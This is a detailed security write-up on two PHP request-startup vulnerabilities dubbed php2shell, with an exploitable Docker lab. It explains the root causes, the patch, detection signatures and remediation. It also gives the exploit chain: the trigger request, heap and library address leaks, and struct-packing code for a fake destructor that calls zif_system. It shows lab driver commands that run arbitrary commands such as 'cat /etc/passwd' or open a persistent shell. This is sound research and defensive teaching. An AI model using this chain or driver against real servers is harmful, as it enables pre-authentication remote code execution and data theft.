Skip to content
Live feed Loading threat feed…

php2shell: A Deep Technical Breakdown With an Exploitable Docker Lab

php2shell: A Deep Technical Breakdown With an Exploitable Docker Lab
Anthony Russell, SquidSec

Written by

Anthony Russell

☣️ Mr. The Plague ☣️

Founder & Lead Penetration Tester OSCP+ | GWAPT

Anthony Russell is a Senior Cyber Security Engineer specializing in Application Security, with 13+ years of professional experience blending deep full-stack software engineering expertise and offensive security skills.

Full bio on the team page

Mr. The Plague here. November 2026.

This one is not an application bug. This one is the engine underneath every application you run.

php2shell is two vulnerabilities in PHP itself, tracked as CVE-2026-109618 and CVE-2026-109619. Both are rated 9.2 on CVSS v4. Both are pre-authentication. Both execute before your code exists. And yes, I built you a lab, and yes, it ends with a shell.

As of November 2026, php2shell is the rare bug that no amount of application-layer hardening can stop. It runs before your framework loads, before your WAF sees the body, before the first line of your code. The only fix is the engine patch.

01 Get the lab first

Read this with the lab open. It is two containers, one vulnerable and one patched, and the contrast between them is the whole article.

WhatWhere
Lab bundle (11 KB)php2shell-lab-2026-11-r2.tar.gz
Source in repolabs/php2shell/
SHA-2561b529ac62786a380c46d72cc564054dba83ebcd431cd4bba4ca5a15f52608bc9
RequirementsDocker, Docker Compose, Python 3, git
Ports127.0.0.1:18080 vulnerable, 127.0.0.1:18081 patched
tar xzf php2shell-lab-2026-11-r2.tar.gz
cd php2shell
docker compose up -d --build vulnerable
./poc/run.sh

Verify before you run it. The bundle is 11 KB of text and Dockerfiles. There are no binaries in it.

sha256sum php2shell-lab-2026-11-r2.tar.gz
# 1b529ac62786a380c46d72cc564054dba83ebcd431cd4bba4ca5a15f52608bc9
FieldDetail
Severity9.2 Critical (CVSS 4.0), both issues
WeaknessCWE-416 Use After Free · CWE-824 Access of Uninitialized Pointer
AffectedPHP 5.4 through 8.5.11
Fixed in8.2.35 · 8.3.36 · 8.4.27 · 8.5.12
CVECVE-2026-109618 (OOM bailout) · CVE-2026-109619 (stale state)
AdvisoriesGHSA-w8hw-w9fx-j79w · GHSA-6wmf-4rv5-p3rp
ExploitationIn CISA KEV since 2026-10-26
Pre-authYes, fires during php_request_startup()
Lab targetphp:8.4.26-apache vulnerable · php:8.4.27-apache patched

Authorization notice. The lab is deliberately vulnerable and binds to loopback only. Run it against systems you own or have written permission to test. Do not deploy it anywhere reachable from the internet, do not point the driver at a host you do not control, and do not paste the chain into a client engagement without a scope document that covers it.

02 Why this one is different

Most of what we write about lives in an application. A missing esc_html(). An upload handler that trusts a filename. A unserialize() pointed straight at user input. You patch the plugin, you ship the fix, you move on.

These two live in php_request_startup(). That is the function PHP runs to build a request before it compiles your script. Read that sentence again, because everything that follows comes from it.

Your framework’s authentication is downstream. Your WAF rules that inspect request bodies in application code are downstream. Your “we validate all input” policy, your ORM, your CSRF tokens, your session middleware, your carefully written authorization layer: all downstream. The bug fires, and the exploit completes, in the window before any of it is loaded.

The target in my lab is this, in full:

<?php
header('Content-Type: text/plain; charset=utf-8');
echo "php2shell lab targetn";
echo 'php_version=' . PHP_VERSION . "n";
echo "the script executedn";

That is the entire application. No session_start(). No upload handling. No include, no unserialize, no database, no third-party code. The exploit does not touch that file. It runs and finishes before PHP gets around to opening it.

That is what makes this a cornerstone instead of a CVE of the week. You cannot out-engineer this at the application layer. You cannot bolt on a plugin that fixes it. There is exactly one remedy, and it is a package upgrade plus a service restart.

Two bugs, two mechanisms

CVE-2026-109618 is the abort. PHP handles out-of-memory by raising a fatal error and then longjmp()-ing out of whatever it was doing. If that happens while request state is reachable but not yet consistent, the jump skips the cleanup that would have kept it consistent. Apache then calls the shutdown path anyway, and shutdown walks memory that startup never finished writing.

CVE-2026-109619 is the leftovers. Some state that belongs to one request gets published into a worker global and is not fully cleared. The next request on that same worker reads it before normal initialization replaces it. Freed memory, still trusted as valid.

Chain them and you get a leak, then a second leak, then a fake destructor, then a command. Let us walk it properly.

03 Root Cause 1: The OOM bailout

Start with the allocator. When PHP exceeds memory_limit, it calls zend_mm_safe_error(). On every vulnerable branch this does three things: it raises a fatal error, it clears an internal flag, and it calls zend_bailout(). That last one is a longjmp() back to the nearest zend_try block, wherever that happens to be.

From Zend/zend_alloc.c on 8.3.35:

static ZEND_COLD ZEND_NORETURN void zend_mm_safe_error(zend_mm_heap *heap,
	const char *format,
	size_t limit,
	size_t size)
{
	heap->overflow = 1;
	zend_try {
		zend_error_noreturn(E_ERROR, format, limit, size);
	} zend_catch {
	}  zend_end_try();
	heap->overflow = 0;
	zend_bailout();   /* longjmp out of wherever we happen to be */
	exit(1);
}

Now read the line in the advisory that does the heavy lifting: the failed allocation does not need to be related to the invalid memory.

That is the whole trick, and it is why this class of bug keeps coming back. You do not corrupt anything. You do not need a heap spray with surgical precision at the trigger stage. You need to make one allocation fail at a moment when some structure is reachable but not yet fully built, and then let PHP’s own error handling and cleanup do the damage for you.

Timing is everything, so here is the ordering that matters. This is php_request_startup() from main/main.c:

zend_try {
    PG(in_error_log) = 0;
    PG(during_request_startup) = 1;

    php_output_activate();

    ...
    zend_activate();
    sapi_activate();          /* <-- the POST body is parsed HERE */

    ...
    php_hash_environment();   /* <-- auto-globals are zeroed only HERE */
    zend_activate_modules();
    PG(modules_activated)=1;
} zend_catch {
    retval = FAILURE;
} zend_end_try();

SG(sapi_started) = 1;
return retval;

sapi_activate() calls sapi_read_post_data(), which hands a multipart/form-data body to rfc1867_post_handler(). So the multipart parser runs inside request startup, and it allocates from the same budget your script would have used.

Which means a request body can exhaust memory_limit before php_hash_environment() ever executes. Startup returns failure. On Apache with mod_php, Apache calls php_request_shutdown() regardless, because the module is in-process and the cleanup is unconditional. Shutdown now runs against half-initialized state.

None of that required a login, a token, a valid session, or a route that exists. It required a POST. That is the pre-authentication property, and it is not a configuration mistake on the part of the site owner. It is how the module is built.

The size mismatch that makes it practical

Fine, you say. A request body that exhausts memory. Just set post_max_size below memory_limit and you are fine.

That is the intuition, and this bug breaks it in two places.

First, a multipart part can carry an unlimited number of headers. PHP stores each one as a name/value pair inside a growable list, which means the in-memory cost of a header block is wildly higher than its wire cost. Second, the guard that would cap you keys off a declared Content-Length:

/* main/rfc1867.c - the check that does not fire without a length */
if (SG(post_max_size) > 0 && SG(request_info).content_length > SG(post_max_size)) {
    sapi_module.sapi_error(E_WARNING,
        "POST Content-Length of " ZEND_LONG_FMT " bytes exceeds the limit of "
        ZEND_LONG_FMT " bytes", SG(request_info).content_length, SG(post_max_size));
    return;
}

No usable Content-Length, no comparison, no early return. The request keeps supplying decoded body data. The public work uses chunked framing for exactly this reason.

And the parser has its own budget, which defaults to something smaller than most people assume:

if (body_parts_cnt < 0) {
    /* max_multipart_body_parts defaults to -1 */
    body_parts_cnt = PG(max_input_vars) + upload_cnt;   /* 1000 + 20 */
}

So the efficient shape is not a thousand parts. It is one part with a very long header block: few parts against the part budget, enormous allocation against the memory budget. Here is what that measured in my lab. A part with 400,000 copies of a three-byte header line, x: and a newline, is 1.2 MB on the wire:

target        http://127.0.0.1:18080/
wire body     1,200,091 bytes
header lines  400,000
status        HTTP 200
elapsed       0.01s
body bytes    147

RESULT: PHP aborted inside the request parser.

1.2 MB of traffic killed an 8 MB parser budget, with post_max_size set to 512 MB so the size guard never had a reason to speak. Same body shape on a stock image with the default 32 MB limit also aborted the request. Roughly 300 to 1 expansion, and it is all legitimate multipart syntax.

That is why “just lower post_max_size” is not the mitigation people think it is. The lever you actually care about is max_multipart_body_parts plus a body cap enforced at the edge, and even that only bounds the parser, not the bug.

What the trigger request looks like

If you are going to hunt for this in your own logs, you need the shape in your head. It is not a normal upload. It is a multipart body with one field that carries a header block thousands of lines long:

POST /anything.php HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----php2shelllab
Transfer-Encoding: chunked

------php2shelllab
Content-Disposition: form-data; name="big"
x:
x:
x:
x:
... hundreds of thousands more identical 3-byte lines ...

Repeat that header line enough times and the parse dies. No filename, no payload, no shellcode in the body. The entire weapon is repetition.

04 Root Cause 2: State that outlives the request

A PHP worker is a long-lived process. It serves request after request, hundreds of thousands of them, for as long as the parent keeps it alive. Anything the worker keeps between requests has to be reset before the request’s memory is handed back. The second advisory is about the places where that reset is incomplete, and the code is almost insultingly small.

Here is php_request_shutdown() in main/main.c on a vulnerable branch, step eight of sixteen:

/* 8. Destroy super-globals */
zend_try {
    int i;

    for (i=0; i<NUM_TRACK_VARS; i++) {
        zval_ptr_dtor(&PG(http_globals)[i]);
    }
} zend_end_try();

The zval is destroyed. The slot still holds the old type tag and the old pointer. Nothing marks it undefined. Compare the patched version, which adds one line inside that loop:

        for (i=0; i<NUM_TRACK_VARS; i++) {
            zval_ptr_dtor(&PG(http_globals)[i]);
            /* May be accessed before php_request_startup() */
            ZVAL_UNDEF(&PG(http_globals)[i]);
        }

That comment is the entire vulnerability, written by the people who fixed it. May be accessed before php_request_startup(). Which access? This one, in rfc1867_post_handler():

if (Z_TYPE(PG(http_globals)[TRACK_VARS_FILES]) != IS_ARRAY) {
    /* php_auto_globals_create_files() might have already done that */
    array_init(&PG(http_globals)[TRACK_VARS_FILES]);
}

Follow it through. On a clean request the slot is IS_UNDEF, so the check passes and a real array is created. Across an aborted request, the slot can still be tagged IS_ARRAY while pointing at memory the previous request owned and the allocator has since reused. The check says “already an array, nothing to do.” The parser then writes uploaded-file metadata into freed memory.

There is the use-after-free. Reachable during startup. Before your framework, before your code, before your logging. And because php_hash_environment() runs after sapi_activate(), nothing has zeroed that slot yet by the time the parser touches it.

The session path: the same bug with more leverage

$_FILES is the clearest example in the source. It is not the most useful one to an attacker.

session.upload_progress ships enabled by default and initializes session state during the multipart parse, because it has to know which uploads are in flight. That means it runs during startup, alongside the parser, before your code. If the parse aborts after the session id has been published into PS(id), that pointer dangles. If the abort lands after PS(send_cookie) has been set but before the cookie could be sent, that flag is left dirty.

The next request on that worker runs the upload-progress cleanup. The cleanup sees send_cookie set, builds a Set-Cookie header from the freed id string, and hands it back over HTTP. That is your disclosure primitive, and it needs no cooperating PHP file on the target.

The fix is the same idea as the $_FILES slot: reset the references you published. The patch touches session and decoder state, error state, object state and extension state, because any of them can be a producer if the abort lands in the right place.

05 The Patch

The upstream fix, commit 3584a98 and its branch equivalents, is much larger than the bug. That is expected. Removing an early exit means auditing every allocation site that used to be allowed to jump away.

Three ideas carry it:

BeforeAfter
zend_mm_safe_error() raises a fatal error and longjmp()s outSoft OOM is recorded as EG(delayed_oom) and raised at the next VM safe point, so cleanup runs from a consistent state
No ceiling beyond memory_limitA hard limit (memory_hard_limit_percent, default 200%) calls _exit() with no cleanup at all
Global state reset opportunisticallyExplicit resets for http_globals, error state, session and decoder state, module flags

The hard limit is the design decision worth understanding. If PHP cannot allocate enough memory to report that it ran out of memory, it stops trying to be graceful and exits the process. That sounds brutal. It is also the only safe option: a process that cannot afford its own error path must not attempt one. You keep real memory limiting and you guarantee shutdown never sees a half-built heap.

Two smaller changes matter for defenders reading a changelog. The parser gained real post_max_size enforcement for bodies that do not declare a length, so the chunked trick above stops working. And max_multipart_body_parts became a named limit you can set deliberately instead of a derived one.

If you are on an end-of-life branch with no official build, this is the part where I tell you to migrate. Backports for 7.4 and 8.0 through 8.1 exist in the community, and while some of them are serious work, an unofficial patch on an EOL runtime is a temporary answer to a permanent question.

06 The Lab

I built this so you can see the difference rather than take my word for it. Two images, same app, same config, same pool. One is vulnerable and one is patched, and the only variable between them is the PHP version.

Source: github.com/SquidSec/php2shell. Public, MIT licensed, and self-contained. Clone it, or grab the bundle from section 01.

git clone https://github.com/SquidSec/php2shell.git

php2shell/
├── Dockerfile                 # FROM php:8.4.26-apache  (last vulnerable 8.4)
├── Dockerfile.patched         # FROM php:8.4.27-apache  (first fixed 8.4)
├── docker-compose.yml         # :18080 vulnerable, :18081 patched, loopback only
├── php.ini                    # 8M memory_limit, 512M post_max_size
├── apache/prefork-single.conf # exactly one worker
├── app/index.php              # prints a banner; the exploit never executes it
└── poc/
    ├── probe.py               # demonstrates the pre-auth abort, no exploit
    ├── rce.py                 # drives the chain; reads offsets from the container
    └── run.sh                 # one command end to end

Four files decide everything, and the application is not one of them:

LayerFileRole
Enginemain/rfc1867.c, main/main.c, Zend/zend_alloc.cthe vulnerability
Configphp.inithe size mismatch the parser trips over
Poolapache/prefork-single.confone worker, so corrupted state is reused
Appapp/index.phpprints a banner; never executed by the exploit
cd php2shell
docker compose up -d --build vulnerable
./poc/run.sh

docker compose --profile patched up -d --build patched
./poc/run.sh patched

The driver does more than print a proof line. --cmd runs any command on the target, and --shell gives you a persistent session as the web user:

./poc/rce.py                          # proof: run id
./poc/rce.py --cmd "uname -a"         # any command, any length
./poc/rce.py --cmd "cat /etc/passwd"
./poc/rce.py --shell                  # persistent shell
./poc/rce.py --shell --shell-cmd "id"  # run commands in that shell
$ ./poc/rce.py --shell --shell-cmd "id; hostname"
[*] starting the persistent shell on the target
$ id; hostname

uid=33(www-data) gid=33(www-data) groups=33(www-data)
php2shell-vulnerable

First script is the honest half of the demonstration. It sends one multipart body, sends no exploit at all, and reports whether the target script ran:

$ python3 poc/probe.py --target http://127.0.0.1:18080/
target        http://127.0.0.1:18080/
wire body     1,200,091 bytes
header lines  400,000
status        HTTP 200
elapsed       0.01s
body bytes    147

RESULT: PHP aborted inside the request parser.
        The response contains only the fatal error; the target
        script never executed. That is the pre-auth property.

Now look at the status code. 200. Not 500. With display_errors=On the fatal error is rendered into the response body, Apache has already committed headers, and the client gets a perfectly successful-looking 200 with PHP’s tantrum inside it.

That detail matters more than it looks. It means a scanner checking status codes sees nothing. It means your uptime monitor sees nothing. Whether your script produced output is the signal, and almost nothing in a typical stack checks for that. I tripped over it myself while building this lab, and I would rather you trip over it here in the article than on a real target at two in the morning.

Same body against the patched container:

$ ./poc/run.sh patched
RESULT: the request completed and the script executed.
        The parser finished inside the limits you gave it.

No drama. The parser did its job, the script ran, and the response came back. That is what a fixed engine looks like from the outside: nothing interesting happens.

07 The Chain, End to End

Four stages. Each one maps to a different detection opportunity, which is why I am walking them one at a time instead of hand-waving “then you get RCE.”

One framing note before the details. The chain is not a magic packet. It is a conversation with a single worker process, and it depends on that worker being the same process for the whole conversation. That is why the lab pins MaxRequestWorkers 1, and it is the single biggest reason this is harder on real infrastructure than in a container.

Stage 1: leak the heap

Request A primes the worker. It sends more than max_input_vars fields, so PHP emits “Input variables exceeded 1000” during the parse. With display_errors=On that warning is written to the response, which means headers are committed before the session layer gets a turn.

Then a one-byte PHPSESSID field makes the session layer decide it needs to mint a new id and set send_cookie. The cookie send fails, because headers are already gone. send_cookie stays set. The request finishes with a large allocation that aborts it, and PS(id) is left pointing at a freed string.

Request B reclaims that freed block with a forged zend_string header. The forged header declares a length far larger than the block it lives in. PHP then URL-encodes that string into Set-Cookie for you, walking past the end of the block and returning whatever is adjacent:

[+] chunk base = 0x7615a0a00000

You now know where the Zend memory manager’s 2 MB chunk begins. From an HTTP response header. No filesystem access, no shell on the box, no PHP file planted in the docroot, no application cooperation of any kind.

This is the stage that does the most work for the attacker, and it is also the one that leaves the most evidence: a Set-Cookie that is thousands of characters long and full of non-hex bytes is not something a normal login flow produces.

Stage 2: leak the code base

Same primitive, aimed differently. Stage 1 shaped the overread window to catch a chunk pointer. Stage 2 shapes it to carry a function pointer out of a live 56-byte HashTable.

Subtract the known zval_ptr_dtor offset from what comes back and you have the load address of libphp.so:

[+] libphp base = 0x7615a2741000

Two leaks, both pure HTTP, and both cost a handful of requests. No crash on the leak stages, which is why a target can be exploited repeatedly without anybody noticing a restart. If you have been assuming that a memory-corruption chain in PHP has to be noisy, this is the part to sit with.

Between the two you have defeated ASLR for the heap and for the module. Everything stage 3 needs is now an arithmetic problem.

Stage 3: turn the cleanup into a call

Here is where the name earns itself. A session reference that survived an aborted request gets reclaimed with attacker bytes. Those bytes describe a fake HashTable whose destructor pointer is zif_system, plus a fake execute_data that supplies the command as argument one:

/* the fake HashTable the cleanup will walk */
struct.pack_into("<II", ht, 0x00, 1, 7)              /* gc: rc=1, IS_ARRAY  */
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)  /* flags, nTableMask   */
struct.pack_into("<Q",  ht, 0x10, htdata + 0x20)     /* arData              */
struct.pack_into("<Q",  ht, 0x30, zif_system)        /* pDestructor         */

/* the fake execute_data at arData+0x20 */
struct.pack_into("<I", ht, E + 0x2C, 1)              /* num_args = 1        */
struct.pack_into("<Q", ht, E + 0x50, arg1)           /* arg1 = our command  */
struct.pack_into("<I", ht, E + 0x58, 6)              /* IS_STRING           */

Read what that actually does, because it is elegant in a horrible way. A request triggers session cleanup. zval_ptr_dtor sees a reference and destroys the array. zend_hash_destroy reads pDestructor and calls it. The fake frame says one argument, a string. The string is your command.

The entire dispatch is PHP’s own cleanup routine doing exactly what it was written to do, against a structure that lies to it. No ROP, no stack pivot, no gadget hunt. You hand the engine a data structure and it helpfully calls a function pointer you supplied.

PROOF: remote command executed:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The worker aborts on the next request, because the heap is now inconsistent in a way the allocator will catch. So this is one command per worker, executed just before the process dies. That is not a stable shell, and I want to be straight with you about it: it is a foothold primitive. From there an operator does what operators do. Upload, pivot, persist. The hard part is over.

08 What I actually measured

Exploit reliability claims are cheap. Here is what the lab produced on my hardware, and where it stops working.

TargetResultNotes
php:8.4.26-apacheRCE, 5/5uid=33(www-data); stages 1 and 2 succeed on every attempt
php:8.4.27-apacheBlockedfails at stage 1, no disclosure; identical ini, app and pool
Parser abort, 8 MB limitConsistent1.2 MB body, script never executed
Parser abort, 32 MB limitConsistentsame body shape on a stock image
php:8.3.35-apacheLeak onlygot both bases; dispatch geometry did not fit, so no shell

Three limits you need to understand before you assume your own estate is exposed.

  • One worker. The producer and the consumer must land on the same process. The lab pins MaxRequestWorkers 1 for exactly that reason. On a normal prefork pool you need worker-saturation techniques, and those are meaningfully harder than a version check.
  • Heap layout is fragile. The chain is calibrated for a specific image and request shape. In my testing, changing the container hostname length was enough to move the heap and stop the leak. Rebuilding the image under a running container did the same. Calibration is part of the exploit, not a detail of it, and any public toolkit that pretends otherwise is selling you something.
  • Version segmentation is real. My first attempts used php:8.3.35-apache. The disclosure worked there, both bases leaked cleanly, and the dispatch never landed. The published profiles for that image say the same thing: leaks, no RCE. 8.4.26 is the build with a verified end-to-end chain.

So keep the two claims separate. The vulnerability class is universal: every PHP from 5.4 to 8.5.11 carries it. The pre-auth abort is trivially reproducible anywhere. The complete chain depends on SAPI, pool width and build. “My PHP is old” is the finding. “I got a shell” is a separate, harder claim, and anybody who flattens the two is doing you a disservice.

09 Does this affect you? The SAPI matrix

This is where most write-ups get vague, and it is the question you actually need answered on a Monday morning. The answer depends on how PHP is attached to your web server, not just on the version.

SAPIPre-auth abort pathWhat that means for you
Apache mod_phpYesCleanup runs even when startup fails, so the whole chain is application-independent. Treat every unpatched instance as exposed.
PHP-FPMNo, at startupFPM exits the child when startup fails, which kills the invalid state along with the process. A complete FPM exploit was not demonstrated for this path.
FrankenPHPLikelySource analysis shows it calls shutdown unconditionally like mod_php. The advisory calls this likely susceptible but unvalidated. Do not bet your exposure on “likely.”
LSAPIApplication-specificModels FPM, so a full chain would need an application operation to reach the fatal error. Plausible, unvalidated.

Do not read the FPM row as immunity, and I want to be explicit about that. The advisory describes an FPM path where state is published during normal application execution, a fatal error follows, and upload-progress cleanup consumes it on the next request. That needs a route on the application that gets you to a fatal error, so it is application-specific rather than universal. Different shape, same class, and still pre-auth from the consumer’s point of view.

Practical version: if you are on mod_php, this is a fire. If you are on FPM, it is a four-alarm fire with a fence around it, and the fence has a gate that an attacker with a foothold can open. Patch either way. The effort is the same and the excuse is not worth it.

10 Detection

The request shapes are distinctive, and they happen before your application logs anything at all. So watch the web server and the PHP error log, not the app. Your app-level logging will be silent for the entire attack, because your app never ran.

  • Multipart parts with enormous header blocks. A single part carrying hundreds of thousands of short header lines is not a real upload. Alert on header-line count per part, not on body size, because the body is small by design.
  • Repeated memory_limit exhaustion in request startup. The log line names Unknown on line 0, because no script was running when it died. That combination is the signature: fatal error, no filename, no line number.
  • Pre-auth 500s on endpoints that never call session_start(). PHP died in startup. That is the whole trick, and it should never happen on a normal day.
  • PHPSESSID in a Set-Cookie that is unexpectedly long or contains non-hex bytes. That is the disclosure leaving the building. A normal session id is 32 hex characters; anything walking past that is leak traffic.
  • Worker churn. Prefork children exiting with zend_mm_heap corrupted or signal Abort immediately after a POST is the post-exploitation fingerprint, and it is the loudest signal of the five.

Here is what the fourth and fifth look like in practice, straight from the lab when the chain succeeds:

zend_mm_heap corrupted
[core:notice] [pid 1:tid 1] AH00052: child pid 142 exit signal Abort (6)

For a quick grep over an error log, the startup-abort signature is narrow enough to be useful without drowning you:

grep -E 'Allowed memory size.*exhausted.*Unknown on line 0' /var/log/apache2/error.log

One corridor worth mentioning: everything above is about the server side. If you can put a body-size cap and a multipart part limit at the edge, you make the producer expensive, and you buy yourself the hours you need to schedule the upgrade. That is mitigation, not remediation, and the difference matters when you are explaining it to somebody who wants the incident closed.

11 Remediation

Patching PHP is the only complete fix. Everything else narrows the window, and I would rather you know which is which than spend a budget on the wrong column.

ActionEffectComplete?
Upgrade to 8.2.35, 8.3.36, 8.4.27, 8.5.12 or later, then restart workersRemoves the bailout and the stale-state bugsYes
Confirm the new binary is actually serving trafficA package upgrade without a reload leaves the vulnerable module residentRequired
Set a small max_multipart_body_partsBounds parser work per requestNo
Cap body size at the edge, not only in PHPRaises the cost of the producerNo
session.upload_progress.enabled=Off where unusedRemoves the state the chain publishesNo
Turn display_errors offRemoves the HTTP delivery channel for the leakNo

Two warnings on the mitigation column. Setting memory_limit=-1 does not remove the OOM path, it just moves the failure to mmap and hands you a different bad day. And turning off display_errors removes the delivery channel for the leak; the corruption still happens, you just lose the convenient HTTP transport. Both are things people do because they are one line, and neither is a fix.

The restart matters as much as the upgrade. I have seen patch windows “completed” while the running workers still had the old module mapped, and the only way to know is to check the version the server actually reports rather than the one the package manager claims.

curl -sI https://your-site.example/ | grep -i x-powered-by
# or, on the host:
php -v
apache2ctl -M | grep php

12 Closing

php2shell is the best argument I have seen this year for the idea that the scariest code in your stack is often the code nobody in the room wrote. Two bugs in request startup undid a decade of application-layer hardening, and the proof in my lab did not need a single line of vulnerable application code. The app printed a banner. That was the whole attack surface.

If you take one thing away, take the ordering. The parser runs before your code. The globals are reset after the parser. The abort skips the cleanup in between. Everything that follows is engineering on top of that one fact, and the fix is a patch you can install today.

The lab is in labs/php2shell/ and in the bundle at the top of this post.

cd php2shell
docker compose up -d --build vulnerable
./poc/run.sh

docker compose --profile patched up -d --build patched
./poc/run.sh patched

The driver does more than print a proof line. --cmd runs any command on the target, and --shell gives you a persistent session as the web user:

./poc/rce.py                          # proof: run id
./poc/rce.py --cmd "uname -a"         # any command, any length
./poc/rce.py --cmd "cat /etc/passwd"
./poc/rce.py --shell                  # persistent shell
./poc/rce.py --shell --shell-cmd "id"  # run commands in that shell
$ ./poc/rce.py --shell --shell-cmd "id; hostname"
[*] starting the persistent shell on the target
$ id; hostname

uid=33(www-data) gid=33(www-data) groups=33(www-data)
php2shell-vulnerable

Watch the pre-auth abort. Then watch the patched container shrug at the exact same request. That contrast is the whole article, and it takes about a minute.

If you want this class of bug hunted across your own estate, including the version-to-exploitability gaps that a scanner will flatten into a single red row, talk to us. Version checks tell you what you are running. They do not tell you what is reachable.

The parser runs before your code. That is the whole bug, and it is why the patch is the only answer.

13 References

CVE-2026-109618 / CVE-2026-109619
On this page